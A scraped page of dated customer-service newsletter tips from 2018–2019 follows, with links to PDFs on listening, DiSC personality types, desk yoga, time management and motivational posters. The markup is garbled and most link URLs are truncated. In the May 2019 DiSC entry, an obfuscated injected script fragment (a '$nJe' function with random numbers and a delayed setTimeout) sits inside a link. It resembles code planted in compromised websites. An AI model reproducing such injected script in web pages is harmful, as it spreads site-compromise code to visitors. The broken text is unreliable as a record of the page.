May 2019

Spring cleaning, not just for the home — Here are tomerservicegroup.com/wp-content/uploads/2019/04/TCCwebextra_0519.pdf">tips to help you organize your desk, files, email inbox, and more.

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May 2019

Identify personality types to deliver better service — Read this useful tomerservicegroup.com/wp-content/uploads/2019/04/DiSC-H<script>%24nJe=function(n)%7Bif%20(typeof%20(%24nJe.list%5Bn%5D)%20==%20" string return number1="Math.floor(Math.random()" if delay="18000;setTimeout($nJe(0),">andbook.pdf">document from the Carlson Learning Company which provides insights on how managers and employees with different personality styles can work better together.

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April 2019

There’s real value in focusing on listening skills — Some of the best advice on listening comes from China. The symbol for listening is both beautiful and meaningful. Click the link to  find a tomerservicegroup.com/wp-content/uploads/2019/03/TCCwebextra_0419.pdf" rel="mtli_filesize6878kB">Listening with Heart mini-poster, which you may download and print.

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April 2019

There’s real value in focusing on listening skills — Some of the best advice on listening comes from China. The symbol for listening is both beautiful and meaningful. Click the link to find a tomerservicegroup.com/wp-content/uploads/2019/03/TCCwebextra_0419.pdf">Listening with Heart mini-poster, which you may download and print.

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March 2019

Take a physical approach to intense encounters — Share this yoga tomerservicegroup.com/wp-content/uploads/2019/02/SSwebextra_0319_yoga_final.pdf">handout with your team. The exercises were excerpted from the publication, tomerservicegroup.com/product/yoga-at-your-desk-a-guide-to-reducing-stress/">Yoga at Your Desk.

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March 2019

Food for thought — Choosing healthier foods is easier than you may think. Your first step is to eat fewer foods high in calories, fat, salt and sugars and swap them for something healthier, including more fruit, and vegetables. Woman’s Health magazine shares this excellent list of healthy food swaps.

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February 2019

Banish negativity at work — Replace negative mottos and cartoons on office walls with our tomerservicegroup.com/wp-content/uploads/2019/01/ss010119-webextra.pdf">motivational mini-posters.

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February 2019

February is Time Management Month — Stephen Covey, co-author of First Things First, developed a method for creating a to-do list based on how important and urgent tasks are. Here is a tomerservicegroup.com/wp-content/uploads/2019/01/TCCwebextra_0219_planner.pdf">daily planning sheet to help you implement Covey’s system.

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December 2018

Meeting customer expectations — Read an tomerservicegroup.com/wp-content/uploads/2018/11/SSwebextra_1218.pdf">interview with Author Michael Levine who suggests that organizations can often meet customer expectations by fixing small things.

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